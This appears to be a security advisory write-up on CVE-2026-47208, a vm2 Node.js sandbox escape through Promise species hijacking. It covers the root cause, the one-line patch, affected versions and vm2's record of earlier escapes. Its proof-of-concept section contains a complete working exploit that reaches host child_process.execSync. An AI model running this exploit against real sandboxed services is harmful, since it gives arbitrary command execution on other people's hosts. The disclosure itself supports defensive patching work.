Introduction
A single missing function call in the vm2 Node.js sandboxing library allows any code running inside the sandbox to escape entirely and execute arbitrary commands on the host operating system. CVE-2026-47208, scored at the maximum CVSS 10.0, exploits a gap in how vm2 handles the JavaScript Promise species protocol, turning what should be an isolated execution environment into a direct path to host compromise.
vm2 is an open source sandbox library for Node.js, maintained by Patrik Simek, with roughly 4.1k GitHub stars and widespread adoption across AI agent frameworks, online code evaluation platforms, cloud IDEs, and plugin systems. It provides VM and NodeVM classes that aim to safely execute untrusted JavaScript. Its relevance has grown significantly as AI systems increasingly rely on sandboxed code execution for LLM generated outputs, making sandbox escape vulnerabilities in vm2 a concern that extends well beyond traditional web application security.
Technical Information
Root Cause: The Missing resetPromiseSpecies Call
The vulnerability resides in the localPromise constructor within lib/setup-sandbox.js. To silently swallow unhandled rejections (a defensive measure introduced in an earlier advisory, GHSA-hw58-p9xv-2mjh), the constructor invokes the cached host Promise.prototype.then:
apply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow]);
The problem is that V8's native then implementation internally uses the species protocol. It reads this.constructor[Symbol.species] to determine which constructor to use for the downstream child Promise. Elsewhere in vm2's sandbox bridge, in the .then(), .catch(), and Reflect.apply overrides, the code always calls resetPromiseSpecies(this) before invoking any host then. This forces the species to resolve to the safe localPromise constructor. The swallow tail call site inside the localPromise constructor body was the only one missing this crucial reset.
Because Symbol.species can be overwritten by sandbox code, an attacker can supply a custom species and a custom promise constructor, providing an arbitrary reject method to the executor. This yields a raw host error object that is no longer confined by the sandbox's error wrapping mechanism.
Attack Flow
The exploitation proceeds in two distinct stages:
Stage 1: Host Error Smuggling. The attacker constructs a FakePromise class that extends Promise and overrides Symbol.species with a getter returning a controllable constructor function (ct). When the localPromise constructor calls the host then without first resetting the species, V8 constructs the downstream child Promise using the attacker's ct function instead of localPromise. This hands V8's internal (resolve, reject) executor callback directly to sandbox controlled code.
The attacker then uses a recursive function to trigger a stack overflow at a carefully calibrated depth. A binary search narrows down the exact recursion depth at which V8 throws a native RangeError from the host environment rather than a sandboxed instance. Because the species override bypasses vm2's error wrapping, this RangeError is a raw host object.
The host origin RangeError is detected by checking ex.name === "RangeError" && !(ex instanceof RangeError): the name matches the string "RangeError" but the object is not an instance of the sandbox's RangeError constructor.
Stage 2: Host Code Execution. Once the raw host error object (ex) is obtained, the payload uses JavaScript's constructor chain to escape the sandbox entirely:
ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned')
This accesses the Node.js process object via the Function constructor (reachable through ex.constructor.constructor), then mainModule, then require('child_process'), enabling arbitrary system command execution on the host.
CVSS Vector Breakdown
The full CVSS v3.1 vector is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H, yielding a base score of 10.0. The "Scope: Changed" designation is particularly significant: it reflects that the vulnerability crosses a security boundary from the sandbox to the host system. The attack requires no privileges, no user interaction, and has low complexity.
| Attribute | Value |
|---|---|
| CVE ID | CVE-2026-47208 |
| Advisory | GHSA-76w7-j9cq-rx2j |
| CVSS v3.1 Score | 10.0 (Critical) |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Scope | Changed (sandbox to host) |
| CWE | CWE-913: Improper Control of Dynamically Managed Code Resources |
| Affected Versions | All versions <= 3.11.3 |
| Patched Version | 3.11.4 |
| Discoverer | @XmiliaH |
Proof of Concept
A complete, working proof of concept is published in the official GitHub Security Advisory (GHSA-76w7-j9cq-rx2j) and reproduced by Endor Labs:
const {VM} = require("vm2"); const vm = new VM(); vm.run(` class E extends Error {} function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; } let ex, ct; class FakePromise extends Promise { static get [Symbol.species](){return ct;} } function doCatch(f) { ex=undefined; const p=Promise.withResolvers(); ct = function(e){e(f, v=>{ex=v;p.resolve();})}; new FakePromise(r=>r()); return p.promise; } (async function f(s) { let min = s; let max = 100000; while (min<max) { const mid = (min+max)>>1; await doCatch(()=>so(mid)); if (ex.name==="RangeError" && !(ex instanceof RangeError)) { ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); return; } if (ex instanceof E) { min = mid+1; } else { max = mid; } } f(s+1); })(0); `);
Here is how each component works:
-
FakePromiseextendsPromiseand overridesSymbol.speciesto return a controllable constructor (ct), which intercepts the internal executor callback that V8 passes when constructing a child Promise viathen. -
doCatchuses this mechanism to capture thrown errors as raw, unsandboxed host objects stored inex. It creates aFakePromise, triggering the vulnerable code path in thelocalPromiseconstructor whereresetPromiseSpeciesis missing. -
The recursive function
so(d)is called at increasing depths. A binary search narrows down the exact recursion depth at which V8 throws a nativeRangeError(stack overflow) from the host environment rather than a sandboxed one. -
Host origin detection:
ex.name === "RangeError" && !(ex instanceof RangeError)identifies the error as originating from the host realm. The name matches the string but the object is not an instance of the sandbox'sRangeError. -
Constructor chain traversal: From the raw host error,
ex.constructor.constructor("return process")()reaches the hostFunctionconstructor, which returns theprocessglobal. From there,mainModule.require('child_process').execSync('touch pwned')executes an arbitrary OS command.
Patch Information
The vulnerability was patched by vm2 maintainer Patrik Simek in commit a462655, authored on May 17, 2026, and shipped in vm2 version 3.11.4.
The fix is remarkably surgical: a single added function call. Here is the core diff from lib/setup-sandbox.js:
if (!localPromiseInSwallowTail) { localPromiseInSwallowTail = true; try { + // SECURITY (GHSA-76w7-j9cq-rx2j): the cached host then() + // resolves the downstream child via the species protocol + // (`this.constructor[Symbol.species]`). Without this reset + // a sandbox subclass — `class F extends Promise { static + // get [Symbol.species](){ return ct } }` — hijacks species + // to a user function `ct` which is then `Construct`ed with + // V8's internal `(resolve, reject)` executor. + // ... + // Pinning the species back to `localPromise` forces the + // downstream child through our own wrapped executor where + // the species cannot be hijacked. The sandbox-side + // `then`/`catch`/`Reflect.apply` overrides already call + // this; the swallow-tail call here was the missed site. + resetPromiseSpecies(this); apply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow]); } catch (e) { // best effort — never let the swallow itself crash the executor
By calling resetPromiseSpecies(this) immediately before the swallow tail invocation, the fix sets this.constructor to localPromise as an own data property on the instance. This shadows any inherited Symbol.species accessor (like one defined on a malicious subclass such as FakePromise). When V8's native then runs SpeciesConstructor(this, %Promise%), it now resolves to localPromise instead of the attacker's user supplied function, meaning V8's internal (resolve, reject) capability can no longer be handed to sandbox controlled code.
This restores what the commit message calls Defense Invariant #4: no host built in is invoked with a sandbox this whose species can be hijacked.
The commit touches four files in total (316 additions, 2 deletions):
lib/setup-sandbox.js: The one line functional fix (resetPromiseSpecies(this)) plus inline security comments.CHANGELOG.md: Updated the 3.11.4 release notes to include the GHSA-76w7-j9cq-rx2j advisory.docs/ATTACKS.md: Added a comprehensive Attack Category 31 ("Promise Species Hijack inlocalPromiseSwallow Tail"), a new Compound Attack Pattern entry #24, and an updated "How The Bridge Defends" table row for Promise species.test/ghsa/GHSA-76w7-j9cq-rx2j/repro.js: A 188 line regression test covering the canonical PoC, verification that the species protocol no longer invokes user supplied constructors in the swallow tail, deeply nested subclass chains, and a regression check ensuring benignclass MyPromise extends Promise {}subclasses continue to work correctly.
The fix is purely additive and backward compatible. Benign Promise subclasses that do not override Symbol.species are unaffected because the resetPromiseSpecies call only matters when a malicious species accessor is present.
Affected Systems and Versions
All versions of the vm2 npm package up to and including version 3.11.3 are affected. The vulnerability is patched in version 3.11.4, with a subsequent version 3.11.5 released on May 18, 2026 addressing additional issues.
Any application that uses vm2 to execute untrusted JavaScript code is potentially vulnerable, including:
- AI agent frameworks that execute user provided or LLM generated code in vm2 sandboxes
- Online code evaluation platforms and coding challenge sites
- Cloud IDEs and development environments
- Plugin systems that sandbox third party extensions
- Any Node.js application using vm2 as a transitive dependency
Organizations should perform software composition analysis to identify all direct and transitive dependencies on vm2.
Vendor Security History
CVE-2026-47208 is not an isolated incident. It is part of a wave of at least 13 vm2 sandbox escape CVEs discovered in 2026, with multiple rated CVSS 10.0. Key milestones in this pattern include:
| Timeframe | CVE | Severity | Patched Version |
|---|---|---|---|
| January 2026 | CVE-2026-22709 (Promise callback bypass) | CVSS 10.0 | 3.10.2 |
| May 6, 2026 | CVE-2026-26956 | Critical | 3.11.0 |
| May 7, 2026 | 12 flaws total (CVSS up to 10.0) | Multiple Critical | 3.11.2 |
| May 18, 2026 | CVE-2026-47208 (Promise Species) + others | CVSS 10.0 | 3.11.4 |
| May 18, 2026 | Additional fixes | Various | 3.11.5 |
The vm2 project's own README acknowledges this structural risk: "New bypasses will likely be discovered in the future. Check our security advisories for known vulnerabilities. You must keep vm2 updated to benefit from the latest security patches." This is effectively a standing admission that the sandbox model cannot provide reliable isolation.
The Promise Species hijack, the Promise callback bypass (CVE-2026-22709), and other breakouts all share the same structural pattern: the sandbox relies on JavaScript language features that are themselves mutable and overridable by the code they are meant to constrain. The maintainer has been responsive in issuing patches, but the recurring nature of these vulnerabilities raises questions about whether patching is a sustainable long term strategy versus architectural replacement.
Microsoft Security Research framed this broader risk as "Prompts Become Shells" in May 2026, highlighting how LLM driven AI systems that use vm2 to execute code generated from user prompts create a direct attack path from natural language input to host shell access. Kodem Security published IOCs and first hour response guidance for the vm2 CVE wave, noting that these vulnerabilities "now enable host level RCE in AI agent frameworks."
For organizations that continue to rely on vm2, the decision matrix is clear: patching is necessary but not sufficient. Long term security requires replacing vm2 with architecturally stronger isolation mechanisms such as separate OS processes with restricted permissions or WASM based sandboxes.
References
- NVD: CVE-2026-47208
- GitHub Security Advisory: GHSA-76w7-j9cq-rx2j
- GitHub Advisory Database: GHSA-76w7-j9cq-rx2j
- GitHub API Advisory: GHSA-76w7-j9cq-rx2j
- Patch Commit: a462655
- Patch Commit API
- vm2 Release v3.11.4
- vm2 Releases Page
- vm2 GitHub Repository
- GitLab Advisory: CVE-2026-47208
- Endor Labs: CVE-2026-47208
- Endor Labs: CVE-2026-22709 Analysis
- Kodem Security: vm2 Sandbox Escape CVE Wave
- The Hacker News: vm2 Node.js Library Vulnerabilities
- BleepingComputer: Critical vm2 Sandbox Bug
- Feedly: CVE-2026-47208 Exploits and Severity



